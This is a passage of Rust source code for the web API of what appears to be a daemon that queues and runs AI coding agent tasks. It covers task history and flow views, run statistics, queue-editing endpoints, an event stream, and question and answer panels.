3301 format!(
3302 " This pass stopped before the run finished ({cause}), so the attempt was handed back; pass #{k} resumed the same run, and the status shown is the run's current one."
3303 )
3304 } else if s.parked {
3305 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3306 .to_owned()
3307 } else if !status.done()
3308 || matches!(
3309 status,
3310 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3311 )
3312 {
3313 String::new()
3314 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3315 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3316 {
3317 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3318 .to_owned()
3319 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3320 " It left a pull request open, so the task was held for a person rather than retried."
3321 .to_owned()
3322 } else if matches!(status, RunStatus::VerifiedNoop) {
3323 " Held for a person to check the claim.".to_owned()
3324 } else if last {
3325 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3326 } else {
3327 " It spent an attempt, and the task moved on to the next run.".to_owned()
3328 };
3329 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3330 TaskRunView {
3331 n,
3332 id: id.to_owned(),
3333 short,
3334 kind,
3335 status: Some(status.as_str()),
3336 readable: true,
3337 provisional,
3338 description,
3339 outcome: format!("{head}{why}"),
3340 created_at: Some(s.created_at),
3341 pr: s.pr.as_ref().map(|p| p.url.clone()),
3342 exit,
3343 attempt: exit.cost(),
3344 branch: branch.map(str::to_owned),
3345 }
3346}
3347
3348#[derive(Debug, Serialize, PartialEq)]
3350struct FlowNode {
3351 key: String,
3353 kind: &'static str,
3355 label: String,
3356 status: Option<&'static str>,
3359 note: Option<&'static str>,
3361 run_kind: Option<&'static str>,
3362 detail: Option<String>,
3363 decided: bool,
3365 readable: bool,
3366 href: Option<String>,
3367}
3368
3369#[derive(Debug, Serialize, PartialEq)]
3370struct FlowEdge {
3371 from: String,
3372 to: String,
3373 label: String,
3374 attempt: AttemptCost,
3375}
3376
3377#[derive(Debug, Serialize, PartialEq)]
3378struct FlowView {
3379 nodes: Vec<FlowNode>,
3380 edges: Vec<FlowEdge>,
3381 attempts: usize,
3383 max_attempts: usize,
3384}
3385
3386fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3389 let node = |key: &str, kind, label: String| FlowNode {
3390 key: key.to_owned(),
3391 kind,
3392 label,
3393 status: None,
3394 note: None,
3395 run_kind: None,
3396 detail: None,
3397 decided: false,
3398 readable: true,
3399 href: None,
3400 };
3401 let mut nodes = vec![node("start", "start", "Task queued".to_owned())];
3402 let mut edges: Vec<FlowEdge> = Vec::new();
3403 let mut prev = "start".to_owned();
3404 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3405 for (i, h) in history.iter().enumerate() {
3406 let key = format!("run-{}", h.n);
3407 let mut n = node(&key, "run", format!("Run {}", h.short));
3408 n.run_kind = Some(h.kind);
3409 n.readable = h.readable;
3410 n.href = Some(format!("#/runs/{}", h.id));
3411 n.decided = h.readable && !h.provisional;
3412 n.detail = h
3413 .branch
3414 .as_ref()
3415 .map(|b| format!("review-only run of branch {b}"));
3416 match h.exit {
3417 RunExit::Unreadable => n.note = Some("unreadable"),
3418 RunExit::Interrupted => n.note = Some("interrupted"),
3419 _ => {
3420 n.status = h.status;
3421 if h.provisional {
3422 n.note = Some("no verdict");
3423 }
3424 }
3425 }
3426 let into = match h.kind {
3427 "review" => Some(format!(
3428 "review-only run of branch {}",
3429 h.branch.as_deref().unwrap_or("?")
3430 )),
3431 "resume" => Some("resume the same run".to_owned()),
3432 _ if i > 0 => Some("retry".to_owned()),
3433 _ => None,
3434 };
3435 let label = match (prev_exit, into) {
3436 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
3437 (Some((e, st)), None) => e.edge_label(st),
3438 (None, Some(i)) => i,
3439 (None, None) => "claimed".to_owned(),
3440 };
3441 edges.push(FlowEdge {
3442 from: prev.clone(),
3443 to: key.clone(),
3444 label,
3445 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
3446 });
3447 prev_exit = Some((h.exit, h.status));
3448 prev = key;
3449 nodes.push(n);
3450 }
3451 let mut end = node("end", "end", task.status.as_str().to_owned());
3452 end.status = Some(task.status.as_str());
3453 nodes.push(end);
3454 let (label, attempt) = match prev_exit {
3455 None => (
3456 format!("no run yet \u{2192} {}", task.status.as_str()),
3457 AttemptCost::None,
3458 ),
3459 Some((e, st)) if e.explains(task.status) => (
3460 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
3461 e.cost(),
3462 ),
3463 Some((e, _)) => (
3464 format!("closed by hand: task is {}", task.status.as_str()),
3465 e.cost(),
3466 ),
3467 };
3468 edges.push(FlowEdge {
3469 from: prev,
3470 to: "end".to_owned(),
3471 label,
3472 attempt,
3473 });
3474 FlowView {
3475 nodes,
3476 edges,
3477 attempts: task.attempts,
3478 max_attempts,
3479 }
3480}
3481
3482fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
3485 let mut history = Vec::with_capacity(task.runs.len());
3486 let mut seen: Vec<&str> = Vec::new();
3487 let mut prior: Option<(&str, RunStatus)> = None;
3488 for (i, run_id) in task.runs.iter().enumerate() {
3489 let state = read(run_id);
3490 let resumed = seen.contains(&run_id.as_str());
3491 seen.push(run_id);
3492 history.push(task_run_view(
3493 run_id,
3494 state.as_ref(),
3495 RunSlot {
3496 n: i + 1,
3497 resumed,
3498 resumed_later: task.runs[i + 1..]
3499 .iter()
3500 .position(|r| r == run_id)
3501 .map(|off| i + off + 2),
3502 prior,
3503 last: i + 1 == task.runs.len(),
3504 },
3505 task,
3506 ));
3507 if let Some(s) = &state {
3508 prior = Some((run::short_of(run_id), s.status));
3509 }
3510 }
3511 history
3512}
3513
3514async fn task_detail(
3515 State(ui): State<Arc<Ui>>,
3516 Path(id): Path<String>,
3517) -> ApiResult<Json<TaskDetailView>> {
3518 blocking(move || {
3519 let id = resolve_task(&ui.queue, &id)?;
3520 let task = ui
3521 .queue
3522 .get(&id)
3523 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
3524 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
3525 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
3526 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
3527 let max_attempts = daemon::Opts::default().max_attempts;
3528 let flow = task_flow(&task, &history, max_attempts);
3529 Ok(Json(TaskDetailView {
3530 max_attempts,
3531 flow,
3532 history,
3533 runs_unreadable,
3534 attempts_note: ATTEMPTS_NOTE,
3535 task: TaskView::with_inventory(task, &inv),
3536 }))
3537 })
3538 .await
3539}
3540
3541#[derive(Debug, Serialize)]
3545struct RateView {
3546 pct: f64,
3547 denominator: usize,
3548}
3549
3550impl RateView {
3551 fn of(numerator: usize, denominator: usize) -> Option<Self> {
3552 (denominator > 0).then(|| Self {
3553 pct: 100.0 * numerator as f64 / denominator as f64,
3554 denominator,
3555 })
3556 }
3557}
3558
3559#[derive(Debug, Serialize)]
3564struct StatsTotalsView {
3565 runs: usize,
3566 merged: usize,
3567 ready: usize,
3568 blocked: usize,
3569 failed: usize,
3570 stalled: usize,
3571 verified_noop: usize,
3572 superseded: usize,
3573 in_progress: usize,
3574 completion_rate: Option<RateView>,
3575 tallied: usize,
3576 split: usize,
3577 split_rate: Option<RateView>,
3578 deliberated: usize,
3579 minds_changed: usize,
3580 converged: usize,
3581 review_rounds: usize,
3582}
3583
3584impl From<&stats::Totals> for StatsTotalsView {
3585 fn from(t: &stats::Totals) -> Self {
3586 Self {
3587 runs: t.runs,
3588 merged: t.merged,
3589 ready: t.ready,
3590 blocked: t.blocked,
3591 failed: t.failed,
3592 stalled: t.stalled,
3593 verified_noop: t.verified_noop,
3594 superseded: t.superseded,
3595 in_progress: t.in_progress,
3596 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3597 tallied: t.tallied,
3598 split: t.split,
3599 split_rate: RateView::of(t.split, t.tallied),
3600 deliberated: t.deliberated,
3601 minds_changed: t.minds_changed,
3602 converged: t.converged,
3603 review_rounds: t.review_rounds,
3604 }
3605 }
3606}
3607
3608#[derive(Debug, Serialize)]
3610struct AgentStatsView {
3611 agent: String,
3612 entered: usize,
3613 wins: usize,
3614 empty: usize,
3615 win_rate: Option<RateView>,
3616}
3617
3618impl From<&stats::AgentStats> for AgentStatsView {
3619 fn from(a: &stats::AgentStats) -> Self {
3620 Self {
3621 agent: a.agent.clone(),
3622 entered: a.entered,
3623 wins: a.wins,
3624 empty: a.empty,
3625 win_rate: RateView::of(a.wins, a.entered),
3626 }
3627 }
3628}
3629
3630#[derive(Debug, Serialize)]
3634struct ReviewerStatsView {
3635 agent: String,
3636 rounds: usize,
3637 seated: usize,
3638 submitted: usize,
3639 adopted: usize,
3640 unique: usize,
3641 timeouts: usize,
3642 adopted_per_round: Option<f64>,
3643 precision: Option<RateView>,
3644 unique_rate: Option<RateView>,
3645 timeout_rate: Option<RateView>,
3646}
3647
3648impl From<&stats::ReviewerStats> for ReviewerStatsView {
3649 fn from(r: &stats::ReviewerStats) -> Self {
3650 Self {
3651 agent: r.agent.clone(),
3652 rounds: r.rounds,
3653 seated: r.seated,
3654 submitted: r.submitted,
3655 adopted: r.adopted,
3656 unique: r.unique,
3657 timeouts: r.timeouts,
3658 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3659 precision: RateView::of(r.adopted, r.submitted),
3660 unique_rate: RateView::of(r.unique, r.submitted),
3661 timeout_rate: RateView::of(r.timeouts, r.seated),
3662 }
3663 }
3664}
3665
3666#[derive(Debug, Serialize)]
3672struct AdvisorStatsView {
3673 agent: String,
3674 seated: usize,
3675 proposed: usize,
3676 absent: usize,
3677 faint: usize,
3678 strong: usize,
3679 reflection_rate: Option<RateView>,
3680}
3681
3682impl From<&stats::AdvisorStats> for AdvisorStatsView {
3683 fn from(a: &stats::AdvisorStats) -> Self {
3684 Self {
3685 agent: a.agent.clone(),
3686 seated: a.seated,
3687 proposed: a.proposed,
3688 absent: a.absent,
3689 faint: a.faint,
3690 strong: a.strong,
3691 reflection_rate: RateView::of(a.strong, a.proposed),
3692 }
3693 }
3694}
3695
3696#[derive(Debug, Serialize)]
3698struct E2eStatsView {
3699 rounds: usize,
3700 failures: usize,
3701 sole_detections: usize,
3702 deferred: usize,
3703 sole_rate: Option<RateView>,
3704}
3705
3706impl From<&stats::E2eStats> for E2eStatsView {
3707 fn from(e: &stats::E2eStats) -> Self {
3708 Self {
3709 rounds: e.rounds,
3710 failures: e.failures,
3711 sole_detections: e.sole_detections,
3712 deferred: e.deferred,
3713 sole_rate: RateView::of(e.sole_detections, e.failures),
3714 }
3715 }
3716}
3717
3718#[derive(Debug, Serialize)]
3726struct ReleaseBumpStatsView {
3727 merged: usize,
3728 recorded: usize,
3729 pr_opened: usize,
3730 automerge_enabled: usize,
3731 merged_directly: usize,
3732 needs_attention: usize,
3733 clean: usize,
3734 coverage_rate: Option<RateView>,
3735 automerge_rate: Option<RateView>,
3736 attention_rate: Option<RateView>,
3737}
3738
3739impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3740 fn from(b: &stats::ReleaseBumpStats) -> Self {
3741 Self {
3742 merged: b.merged,
3743 recorded: b.recorded,
3744 pr_opened: b.pr_opened,
3745 automerge_enabled: b.automerge_enabled,
3746 merged_directly: b.merged_directly,
3747 needs_attention: b.needs_attention,
3748 clean: b.clean(),
3749 coverage_rate: RateView::of(b.recorded, b.merged),
3750 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3751 attention_rate: RateView::of(b.needs_attention, b.recorded),
3752 }
3753 }
3754}
3755
3756#[derive(Debug, Serialize)]
3758struct TaskCountsView {
3759 queued: usize,
3760 running: usize,
3761 done: usize,
3762 failed: usize,
3763 held: usize,
3764 blocked: usize,
3765}
3766
3767impl From<crate::queue::TaskCounts> for TaskCountsView {
3768 fn from(c: crate::queue::TaskCounts) -> Self {
3769 Self {
3770 queued: c.queued,
3771 running: c.running,
3772 done: c.done,
3773 failed: c.failed,
3774 held: c.held,
3775 blocked: c.blocked,
3776 }
3777 }
3778}
3779
3780#[derive(Debug, Serialize)]
3786struct RepoSummaryView {
3787 repo: String,
3790 name: String,
3792 runs: usize,
3793 completion_rate: Option<RateView>,
3794}
3795
3796impl From<&stats::RepoStats> for RepoSummaryView {
3797 fn from(r: &stats::RepoStats) -> Self {
3798 let t = &r.stats.totals;
3799 Self {
3800 repo: r.repo.to_string_lossy().into_owned(),
3801 name: r.name.clone(),
3802 runs: t.runs,
3803 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3804 }
3805 }
3806}
3807
3808#[derive(Debug, Serialize)]
3814struct StatsView {
3815 totals: StatsTotalsView,
3816 agents: Vec<AgentStatsView>,
3818 reviewers: Vec<ReviewerStatsView>,
3820 advisors: Vec<AdvisorStatsView>,
3822 e2e: E2eStatsView,
3823 release_bumps: ReleaseBumpStatsView,
3824 queue: TaskCountsView,
3825 runs_unreadable: usize,
3835 repos: Vec<RepoSummaryView>,
3839 repo: Option<String>,
3843}
3844
3845#[derive(Debug, Default, Deserialize)]
3854#[serde(default)]
3855struct StatsQuery {
3856 repo: Option<String>,
3857}
3858
3859async fn stats_get(
3866 State(ui): State<Arc<Ui>>,
3867 Query(q): Query<StatsQuery>,
3868) -> ApiResult<Json<StatsView>> {
3869 blocking(move || {
3870 let states: Vec<RunState> = run_ids(&ui.runs)
3871 .into_iter()
3872 .filter_map(|id| read_run(&ui.runs, &id).ok())
3873 .collect();
3874 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3875 .iter()
3876 .map(RepoSummaryView::from)
3877 .collect();
3878 let collected = match &q.repo {
3879 Some(repo) => {
3880 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3881 if filtered.is_empty() {
3882 return Err(ApiError::not_found(format!(
3883 "no runs recorded against repo `{repo}`"
3884 )));
3885 }
3886 stats::collect_refs(filtered)
3887 }
3888 None => stats::collect(&states),
3889 };
3890 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3891 Ok(Json(StatsView {
3892 totals: StatsTotalsView::from(&collected.totals),
3893 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3894 reviewers: collected
3895 .reviewers
3896 .iter()
3897 .map(ReviewerStatsView::from)
3898 .collect(),
3899 advisors: collected
3900 .advisors
3901 .iter()
3902 .map(AdvisorStatsView::from)
3903 .collect(),
3904 e2e: E2eStatsView::from(&collected.e2e),
3905 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3906 queue: TaskCountsView::from(queue_counts),
3907 runs_unreadable: runs_unreadable(&ui.runs),
3908 repos,
3909 repo: q.repo.clone(),
3910 }))
3911 })
3912 .await
3913}
3914
3915#[derive(Debug, Default, Deserialize)]
3918#[serde(default, deny_unknown_fields)]
3919struct HoldBody {
3920 reason: Option<String>,
3921}
3922
3923async fn queue_hold(
3924 State(ui): State<Arc<Ui>>,
3925 Path(id): Path<String>,
3926 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3927) -> ApiResult<Json<TaskView>> {
3928 let body = match body {
3932 Ok(Json(body)) => body,
3933 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3934 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3935 };
3936 let reason = body.reason.filter(|r| !r.trim().is_empty());
3937 mutate(ui, id, move |t| {
3938 t.hold_manual(reason.clone());
3939 Ok(())
3940 })
3941 .await
3942}
3943
3944async fn queue_release(
3945 State(ui): State<Arc<Ui>>,
3946 Path(id): Path<String>,
3947) -> ApiResult<Json<TaskView>> {
3948 mutate(ui, id, |t| {
3949 t.release();
3950 Ok(())
3951 })
3952 .await
3953}
3954
3955#[derive(Debug, Deserialize)]
3957#[serde(deny_unknown_fields)]
3958struct PriorityBody {
3959 priority: i32,
3960}
3961
3962async fn queue_priority(
3968 State(ui): State<Arc<Ui>>,
3969 Path(id): Path<String>,
3970 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3971) -> ApiResult<Json<TaskView>> {
3972 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3973 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3974}
3975
3976#[derive(Debug, Deserialize)]
3978#[serde(deny_unknown_fields)]
3979struct EditBody {
3980 title: String,
3981 instruction: String,
3982 #[serde(default)]
3985 force: bool,
3986}
3987
3988async fn queue_edit(
3992 State(ui): State<Arc<Ui>>,
3993 Path(id): Path<String>,
3994 body: std::result::Result<Json<EditBody>, JsonRejection>,
3995) -> ApiResult<Json<TaskView>> {
3996 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3997 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3998 mutate(ui, id, move |t| {
3999 if !body.force && body.instruction != t.instruction {
4000 let hits =
4001 crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
4002 if !hits.is_empty() {
4003 return Err(crate::dupes::Duplicate(hits).into());
4004 }
4005 }
4006 t.edit(body.title.clone(), body.instruction.clone())
4007 })
4008 .await
4009}
4010
4011async fn queue_done(
4019 State(ui): State<Arc<Ui>>,
4020 Path(id): Path<String>,
4021) -> ApiResult<Json<TaskView>> {
4022 let home = ui.home.clone();
4023 mutate(ui, id, move |t| {
4024 t.succeed();
4025 crate::daemon::supersede_prior_runs(t, &home);
4033 Ok(())
4034 })
4035 .await
4036}
4037
4038async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4046 blocking(move || {
4047 let id = resolve_task(&ui.queue, &id)?;
4048 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4049 ui.queue
4050 .remove(&id, in_flight, &ui.questions)
4051 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4052 Ok(StatusCode::NO_CONTENT)
4053 })
4054 .await
4055}
4056
4057async fn mutate(
4066 ui: Arc<Ui>,
4067 id: String,
4068 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4069) -> ApiResult<Json<TaskView>> {
4070 blocking(move || {
4071 let id = resolve_task(&ui.queue, &id)?;
4072 let _claim = ui.queue.claim(&id).map_err(|e| {
4077 ApiError::conflict(format!(
4078 "{e:#} - a daemon is running this task, so it cannot be \
4079 changed from here yet"
4080 ))
4081 })?;
4082 let mut task = ui.queue.get(&id)?;
4083 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4084 Ok(dup) => ApiError::conflict(dup.render(
4085 "Nothing was saved. If it is not a duplicate, repeat the request with \
4086 \"force\": true.",
4087 )),
4088 Err(e) => ApiError::bad_request_from(e),
4089 })?;
4090 ui.queue.put(&mut task)?;
4091 Ok(Json(TaskView::from(task)))
4092 })
4093 .await
4094}
4095
4096async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4104 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4105 tokio::spawn(async move {
4106 let mut ticker = tokio::time::interval(POLL);
4107 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4108 loop {
4109 ticker.tick().await;
4112 let state = Arc::clone(&ui);
4113 let revisions = tokio::task::spawn_blocking(move || {
4114 (
4115 state.queue.revision(),
4116 runs_revision(&state.runs),
4117 state.questions.revision(),
4118 state.talks.revision(),
4119 state.notices.revision(),
4120 state.lock_loop().rev,
4124 )
4125 })
4126 .await;
4127 let Ok(revisions) = revisions else { break };
4128 if last == Some(revisions) {
4129 continue;
4130 }
4131 last = Some(revisions);
4132 let payload = serde_json::json!({
4133 "queue_rev": revisions.0,
4134 "runs_rev": revisions.1,
4135 "questions_rev": revisions.2,
4136 "talks_rev": revisions.3,
4137 "notifications_rev": revisions.4,
4138 "loop_rev": revisions.5,
4139 });
4140 let Ok(event) = Event::default().event("change").json_data(payload) else {
4142 break;
4143 };
4144 if tx.send(event).await.is_err() {
4145 break;
4146 }
4147 }
4148 });
4149 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4150 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4151}
4152
4153fn runs_revision(runs: &FsPath) -> u64 {
4160 use std::hash::{Hash as _, Hasher as _};
4161
4162 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4163 .into_iter()
4164 .flatten()
4165 .flatten()
4166 .filter_map(|e| {
4167 let path = e.path().join("run.json");
4168 let mtime = path
4169 .metadata()
4170 .ok()?
4171 .modified()
4172 .ok()?
4173 .duration_since(std::time::UNIX_EPOCH)
4174 .ok()?
4175 .as_millis() as u64;
4176 let id = e.file_name().to_string_lossy().into_owned();
4177 Some((id, mtime))
4178 })
4179 .collect();
4180
4181 if entries.is_empty() {
4182 return 0;
4183 }
4184
4185 entries.sort_unstable();
4186 let mut hasher = std::hash::DefaultHasher::new();
4187 for (id, mtime) in &entries {
4188 id.hash(&mut hasher);
4189 mtime.hash(&mut hasher);
4190 }
4191 let h = hasher.finish();
4192 if h == 0 { 1 } else { h }
4193}
4194
4195fn run_ids(runs: &FsPath) -> Vec<String> {
4201 let mut ids: Vec<String> = std::fs::read_dir(runs)
4202 .into_iter()
4203 .flatten()
4204 .flatten()
4205 .filter(|e| e.path().join("run.json").is_file())
4206 .map(|e| e.file_name().to_string_lossy().into_owned())
4207 .collect();
4208 ids.sort_unstable_by(|a, b| b.cmp(a));
4210 ids
4211}
4212
4213fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4215 let path = runs.join(id).join("run.json");
4216 let body =
4217 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4218 let state: RunState =
4219 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4220 run::migrate_schema(state)
4225}
4226
4227#[must_use]
4235pub fn runs_unreadable(runs: &FsPath) -> usize {
4236 run_ids(runs)
4237 .into_iter()
4238 .filter(|id| read_run(runs, id).is_err())
4239 .count()
4240}
4241
4242fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4244 if runs.join(id).join("run.json").is_file() {
4245 return Ok(id.to_owned());
4246 }
4247 pick(run_ids(runs), id, "run")
4248}
4249
4250fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4252 if queue.path_of(id).is_file() {
4253 return Ok(id.to_owned());
4254 }
4255 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4256}
4257
4258#[derive(Debug, Serialize)]
4269struct QuestionView {
4270 #[serde(flatten)]
4271 question: Question,
4272 detail_md: Vec<md::Node>,
4273 waiting_on_agent: bool,
4283 holder: Option<&'static str>,
4287}
4288
4289impl QuestionView {
4290 fn of(question: Question, store: &ask::Questions) -> Self {
4294 let base = md::ImageBase::QuestionPanel {
4295 id: question.id.clone(),
4296 };
4297 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4298 Self {
4299 detail_md: md::to_nodes(&question.detail, &base),
4300 waiting_on_agent: question.waiting_on_agent(),
4301 holder,
4302 question,
4303 }
4304 }
4305}
4306
4307fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4314 if !q.status.open() || q.cwd.is_none() {
4315 return None;
4316 }
4317 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4318 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4319 Some(_) => "asker",
4320 None => "nobody",
4321 })
4322}
4323
4324async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4330 blocking(move || {
4331 Ok(Json(
4332 ui.questions
4333 .list()
4334 .into_iter()
4335 .map(|q| QuestionView::of(q, &ui.questions))
4336 .collect(),
4337 ))
4338 })
4339 .await
4340}
4341
4342async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4345 blocking(move || {
4346 let items = ui.notices.list();
4347 let unread = items.iter().filter(|n| n.unread()).count();
4348 Ok(Json(
4349 serde_json::json!({ "unread": unread, "items": items }),
4350 ))
4351 })
4352 .await
4353}
4354
4355fn notice_error(e: anyhow::Error) -> ApiError {
4356 ApiError::not_found(format!("{e:#}"))
4359}
4360
4361async fn notification_read(
4363 State(ui): State<Arc<Ui>>,
4364 Path(id): Path<String>,
4365) -> ApiResult<Json<Notice>> {
4366 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
4367}
4368
4369async fn notification_dismiss(
4371 State(ui): State<Arc<Ui>>,
4372 Path(id): Path<String>,
4373) -> ApiResult<Json<Notice>> {
4374 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
4375}
4376
4377async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4379 blocking(move || {
4380 let changed = ui.notices.mark_all_read()?;
4381 Ok(Json(serde_json::json!({ "marked": changed })))
4382 })
4383 .await
4384}
4385
4386#[derive(Debug, Default, Deserialize)]
4392#[serde(default, deny_unknown_fields)]
4393struct NewAnswer {
4394 choice: Option<String>,
4395 text: Option<String>,
4396}
4397
4398async fn question_answer(
4399 State(ui): State<Arc<Ui>>,
4400 Path(id): Path<String>,
4401 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
4402) -> ApiResult<Json<QuestionView>> {
4403 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4404 let answer = match (body.choice, body.text) {
4405 (Some(c), None) => Answer::Choice(c),
4406 (None, Some(t)) => Answer::Text(t),
4407 (Some(_), Some(_)) => {
4408 return Err(ApiError::bad_request(
4409 "send either `choice` or `text`, not both",
4410 ));
4411 }
4412 (None, None) => {
4413 return Err(ApiError::bad_request("send a `choice` or a `text`"));
4414 }
4415 };
4416
4417 blocking(move || {
4418 let id = resolve_question(&ui.questions, &id)?;
4419 let q = ui
4420 .questions
4421 .get(&id)
4422 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4423 if !q.status.open() {
4424 return Err(ApiError::conflict(format!(
4428 "question {} is already {}",
4429 q.short(),
4430 q.status.as_str()
4431 )));
4432 }
4433 let (q, ()) = ui
4437 .questions
4438 .update(&q.id, |r| r.answer(answer))
4439 .map_err(ApiError::bad_request_from)?;
4440 Ok(Json(QuestionView::of(q, &ui.questions)))
4441 })
4442 .await
4443}
4444
4445#[derive(Debug, Deserialize)]
4447#[serde(deny_unknown_fields)]
4448struct NewSay {
4449 body: String,
4450}
4451
4452async fn question_say(
4462 State(ui): State<Arc<Ui>>,
4463 Path(id): Path<String>,
4464 body: std::result::Result<Json<NewSay>, JsonRejection>,
4465) -> ApiResult<Json<QuestionView>> {
4466 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4467 blocking(move || {
4468 let id = resolve_question(&ui.questions, &id)?;
4469 let q = ui
4470 .questions
4471 .get(&id)
4472 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4473 if !q.status.open() {
4474 return Err(ApiError::conflict(format!(
4478 "question {} is already {}",
4479 q.short(),
4480 q.status.as_str()
4481 )));
4482 }
4483 let (q, ()) = ui
4486 .questions
4487 .update(&q.id, |r| r.say(body.body))
4488 .map_err(ApiError::bad_request_from)?;
4489 Ok(Json(QuestionView::of(q, &ui.questions)))
4490 })
4491 .await
4492}
4493
4494fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
4496 if store.path_of(id).is_file() {
4497 return Ok(id.to_owned());
4498 }
4499 pick(
4500 store.list().into_iter().map(|q| q.id).collect(),
4501 id,
4502 "question",
4503 )
4504}
4505
4506async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
4521 blocking(move || {
4522 let id = resolve_question(&ui.questions, &id)?;
4523 let Some(html) = ui.questions.panel_html(&id) else {
4524 return Err(ApiError::not_found(format!("question {id} has no panel")));
4525 };
4526 Ok(panel_response(
4527 "text/html; charset=utf-8",
4528 false,
4529 html.into_bytes(),
4530 ))
4531 })
4532 .await
4533}
4534
4535async fn question_asset(
4563 State(ui): State<Arc<Ui>>,
4564 Path((id, name)): Path<(String, String)>,
4565) -> ApiResult<Response> {
4566 if !crate::ask::valid_asset_name(&name) {
4569 return Err(ApiError::bad_request(format!(
4570 "`{name}` is not a usable asset name"
4571 )));
4572 }
4573 blocking(move || {
4574 let id = resolve_question(&ui.questions, &id)?;
4575 let asset = ui
4576 .questions
4577 .panel_asset(&id, &name)
4578 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4579 let Some(bytes) = asset else {
4580 return Err(ApiError::not_found(format!(
4581 "question {id} has no asset `{name}`"
4582 )));
4583 };
4584 Ok(panel_response(
4585 asset_content_type(&name),
4586 is_svg(&name),
4587 bytes,
4588 ))
4589 })
4590 .await
4591}
4592
4593fn asset_content_type(name: &str) -> &'static str {
4606 match extension(name).as_deref() {
4607 Some("png") => "image/png",
4608 Some("jpg" | "jpeg") => "image/jpeg",
4609 Some("gif") => "image/gif",
4610 Some("webp") => "image/webp",
4611 Some("svg") => "image/svg+xml",
4612 Some("css") => "text/css; charset=utf-8",
4613 Some("txt") => "text/plain; charset=utf-8",
4614 _ => "application/octet-stream",
4615 }
4616}
4617
4618fn is_svg(name: &str) -> bool {
4621 extension(name).as_deref() == Some("svg")
4622}
4623
4624fn extension(name: &str) -> Option<String> {
4626 name.rsplit_once('.')
4627 .map(|(_, ext)| ext.to_ascii_lowercase())
4628}
4629
4630fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4647 let mut res = (
4648 [
